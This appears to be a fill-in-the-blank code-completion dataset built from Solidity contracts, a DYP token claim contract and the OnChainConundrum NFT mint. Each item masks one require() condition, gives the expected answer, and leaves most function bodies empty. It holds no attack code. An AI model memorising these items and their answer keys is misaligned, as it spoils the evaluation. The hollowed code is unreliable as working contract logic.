/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
interface LegacyToken {
function transfer(address, uint) external;
}
contract ClaimTokensDyp is Ownable {
using Address for address;
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event ClaimedTokens(address indexed holder, uint amount);
// ============================= CONTRACT VARIABLES ==============================
// Old DYP Token
address public constant TRUSTED_OLD_DYP = 0x961C8c0B1aaD0c0b10a51FeF6a867E3091BCef17;
// New DYP Token
address public constant TRUSTED_NEW_DYP = 0x39b46B212bDF15b42B166779b9d1787A68b9D0c3;
// Burn Address
address public constant TRUSTED_BURN = 0x000000000000000000000000000000000000dEaD;
// Count no of Claimed Tokens
uint public claimedTokens = 0;
// ========================= END CONTRACT VARIABLES ==============================
// Contracts are not allowed to deposit, claim or withdraw
modifier noContractsAllowed() {
}
constructor() public {
}
function claim(uint amounToClaim) external noContractsAllowed {
require(amounToClaim > 0, "Cannot deposit 0 Tokens");
require(<FILL_ME>)
require(Token(TRUSTED_OLD_DYP).transfer(TRUSTED_BURN, amounToClaim), "Could not burn tokens.");
claimedTokens += amounToClaim;
uint amountToClaimRate = amounToClaim.mul(6);
require(Token(TRUSTED_NEW_DYP).transfer(msg.sender, amountToClaimRate), "Could not transfer tokens.");
emit ClaimedTokens(msg.sender, amounToClaim);
}
}
| Token(TRUSTED_OLD_DYP).transferFrom(msg.sender,address(this),amounToClaim),"Insufficient Token Allowance" | 475,441 | Token(TRUSTED_OLD_DYP).transferFrom(msg.sender,address(this),amounToClaim) |
"Could not burn tokens." | // SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.6.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
interface LegacyToken {
function transfer(address, uint) external;
}
contract ClaimTokensDyp is Ownable {
using Address for address;
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event ClaimedTokens(address indexed holder, uint amount);
// ============================= CONTRACT VARIABLES ==============================
// Old DYP Token
address public constant TRUSTED_OLD_DYP = 0x961C8c0B1aaD0c0b10a51FeF6a867E3091BCef17;
// New DYP Token
address public constant TRUSTED_NEW_DYP = 0x39b46B212bDF15b42B166779b9d1787A68b9D0c3;
// Burn Address
address public constant TRUSTED_BURN = 0x000000000000000000000000000000000000dEaD;
// Count no of Claimed Tokens
uint public claimedTokens = 0;
// ========================= END CONTRACT VARIABLES ==============================
// Contracts are not allowed to deposit, claim or withdraw
modifier noContractsAllowed() {
}
constructor() public {
}
function claim(uint amounToClaim) external noContractsAllowed {
require(amounToClaim > 0, "Cannot deposit 0 Tokens");
require(Token(TRUSTED_OLD_DYP).transferFrom(msg.sender, address(this), amounToClaim), "Insufficient Token Allowance");
require(<FILL_ME>)
claimedTokens += amounToClaim;
uint amountToClaimRate = amounToClaim.mul(6);
require(Token(TRUSTED_NEW_DYP).transfer(msg.sender, amountToClaimRate), "Could not transfer tokens.");
emit ClaimedTokens(msg.sender, amounToClaim);
}
}
| Token(TRUSTED_OLD_DYP).transfer(TRUSTED_BURN,amounToClaim),"Could not burn tokens." | 475,441 | Token(TRUSTED_OLD_DYP).transfer(TRUSTED_BURN,amounToClaim) |
"Could not transfer tokens." | // SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.6.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
interface LegacyToken {
function transfer(address, uint) external;
}
contract ClaimTokensDyp is Ownable {
using Address for address;
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event ClaimedTokens(address indexed holder, uint amount);
// ============================= CONTRACT VARIABLES ==============================
// Old DYP Token
address public constant TRUSTED_OLD_DYP = 0x961C8c0B1aaD0c0b10a51FeF6a867E3091BCef17;
// New DYP Token
address public constant TRUSTED_NEW_DYP = 0x39b46B212bDF15b42B166779b9d1787A68b9D0c3;
// Burn Address
address public constant TRUSTED_BURN = 0x000000000000000000000000000000000000dEaD;
// Count no of Claimed Tokens
uint public claimedTokens = 0;
// ========================= END CONTRACT VARIABLES ==============================
// Contracts are not allowed to deposit, claim or withdraw
modifier noContractsAllowed() {
}
constructor() public {
}
function claim(uint amounToClaim) external noContractsAllowed {
require(amounToClaim > 0, "Cannot deposit 0 Tokens");
require(Token(TRUSTED_OLD_DYP).transferFrom(msg.sender, address(this), amounToClaim), "Insufficient Token Allowance");
require(Token(TRUSTED_OLD_DYP).transfer(TRUSTED_BURN, amounToClaim), "Could not burn tokens.");
claimedTokens += amounToClaim;
uint amountToClaimRate = amounToClaim.mul(6);
require(<FILL_ME>)
emit ClaimedTokens(msg.sender, amounToClaim);
}
}
| Token(TRUSTED_NEW_DYP).transfer(msg.sender,amountToClaimRate),"Could not transfer tokens." | 475,441 | Token(TRUSTED_NEW_DYP).transfer(msg.sender,amountToClaimRate) |
"Reached max supply" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "erc721a/contracts/ERC721A.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract OnChainConundrum is DefaultOperatorFilterer, ERC721A, ReentrancyGuard, Ownable{
uint256 public MAX_PUBLIC_MINT=2000;
uint256 public mintPrice=0.005 ether;
uint256 public maxMintPerWallet=2;
string[] passables = ["20,66,114","60,42,33","109,103,228","129,12,168","59,24,95","40,42,58",
"98,79,130","21,0,80","86,43,8","85,57,57","81,85,126"]; // 11
string[] walls = ["10,38,71","26,18,11","69,60,103","45,3,59","0,0,92","0,0,0","63,59,108","24,39,71","71,45,45","27,36,48"]; // 10
string[] hints = ["251,86,7","255,0,110","255,190,11","58,134,255","131,56,236"]; // 5
string[] starts = ["251,248,204","185,251,192","255,207,210","152,245,225","255,214,165","189,178,255","255,255,252","202,255,191","142,236,245", "255,214,165","255,173,173"]; // 11
string[] glitchAmplitudes = ["0.5", "1", "2"]; // 3
uint256[] widths = [3, 4, 5, 6]; // 4
uint256[] gravities = [0, 1, 2]; // 3
constructor() ERC721A("OnChainConundrum", "OCC") {
}
function mint(uint256 quantity) external payable{
// Mint price: 0.005, collection size 2000, max mint 2.
require(<FILL_ME>)
require(_numberMinted(msg.sender) + quantity <= maxMintPerWallet, "Max 2 mint per wallet!");
require(quantity * mintPrice <= msg.value, "Funds not enough.");
_safeMint(msg.sender, quantity);
}
struct Maze {
bool passHint;
string passableColor;
string wallColor;
string hintColor;
string startColor;
string glitchAmplitude;
uint256 width;
uint256 gravity;
uint256 tokenId;
}
function random(string memory input) internal pure returns (uint256) {
}
function randomRange(uint256 tokenId, string memory keyPrefix, uint256 lower, uint256 upper) internal pure returns (uint256) {
}
function genMaze(uint256 tokenId) public view returns (Maze memory m){
}
function addTrait(string memory traitType, string memory value) internal pure returns (string memory){
}
function property(Maze memory m) public pure returns (string memory){
}
function animatedURI(Maze memory m) public pure returns (string memory){
}
function addWall(uint256[625] memory maze, uint256[625] memory wallsUnseen, uint256 x, uint256 y, uint256 width, uint256[1] memory wallsLength) internal pure{
}
function addCell(uint256[625] memory maze, uint256[625] memory wallsUnseen, uint256 x, uint256 y, uint256 width, uint256[1] memory wallsLength) internal pure{
}
function genMazeSVG(Maze memory m) internal pure returns (uint256[625] memory result){
}
function randomRGB(uint256 seed) internal pure returns (string memory res){
}
function randomTenRGB(uint256 tokenId)internal pure returns (string memory res){
}
function localCase(uint256 i, uint256 j)internal pure returns(string memory){
}
function image(Maze memory m) public pure returns (string memory svg){
}
function tokenURI(uint256 tokenId) public view override returns (string memory){
}
function withdraw() external onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override payable onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override payable onlyAllowedOperator(from){
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override payable onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override payable onlyAllowedOperator(from){
}
}
| totalSupply()+quantity<=MAX_PUBLIC_MINT,"Reached max supply" | 475,611 | totalSupply()+quantity<=MAX_PUBLIC_MINT |
"Max 2 mint per wallet!" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "erc721a/contracts/ERC721A.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract OnChainConundrum is DefaultOperatorFilterer, ERC721A, ReentrancyGuard, Ownable{
uint256 public MAX_PUBLIC_MINT=2000;
uint256 public mintPrice=0.005 ether;
uint256 public maxMintPerWallet=2;
string[] passables = ["20,66,114","60,42,33","109,103,228","129,12,168","59,24,95","40,42,58",
"98,79,130","21,0,80","86,43,8","85,57,57","81,85,126"]; // 11
string[] walls = ["10,38,71","26,18,11","69,60,103","45,3,59","0,0,92","0,0,0","63,59,108","24,39,71","71,45,45","27,36,48"]; // 10
string[] hints = ["251,86,7","255,0,110","255,190,11","58,134,255","131,56,236"]; // 5
string[] starts = ["251,248,204","185,251,192","255,207,210","152,245,225","255,214,165","189,178,255","255,255,252","202,255,191","142,236,245", "255,214,165","255,173,173"]; // 11
string[] glitchAmplitudes = ["0.5", "1", "2"]; // 3
uint256[] widths = [3, 4, 5, 6]; // 4
uint256[] gravities = [0, 1, 2]; // 3
constructor() ERC721A("OnChainConundrum", "OCC") {
}
function mint(uint256 quantity) external payable{
// Mint price: 0.005, collection size 2000, max mint 2.
require(totalSupply() + quantity <= MAX_PUBLIC_MINT, "Reached max supply");
require(<FILL_ME>)
require(quantity * mintPrice <= msg.value, "Funds not enough.");
_safeMint(msg.sender, quantity);
}
struct Maze {
bool passHint;
string passableColor;
string wallColor;
string hintColor;
string startColor;
string glitchAmplitude;
uint256 width;
uint256 gravity;
uint256 tokenId;
}
function random(string memory input) internal pure returns (uint256) {
}
function randomRange(uint256 tokenId, string memory keyPrefix, uint256 lower, uint256 upper) internal pure returns (uint256) {
}
function genMaze(uint256 tokenId) public view returns (Maze memory m){
}
function addTrait(string memory traitType, string memory value) internal pure returns (string memory){
}
function property(Maze memory m) public pure returns (string memory){
}
function animatedURI(Maze memory m) public pure returns (string memory){
}
function addWall(uint256[625] memory maze, uint256[625] memory wallsUnseen, uint256 x, uint256 y, uint256 width, uint256[1] memory wallsLength) internal pure{
}
function addCell(uint256[625] memory maze, uint256[625] memory wallsUnseen, uint256 x, uint256 y, uint256 width, uint256[1] memory wallsLength) internal pure{
}
function genMazeSVG(Maze memory m) internal pure returns (uint256[625] memory result){
}
function randomRGB(uint256 seed) internal pure returns (string memory res){
}
function randomTenRGB(uint256 tokenId)internal pure returns (string memory res){
}
function localCase(uint256 i, uint256 j)internal pure returns(string memory){
}
function image(Maze memory m) public pure returns (string memory svg){
}
function tokenURI(uint256 tokenId) public view override returns (string memory){
}
function withdraw() external onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override payable onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override payable onlyAllowedOperator(from){
}
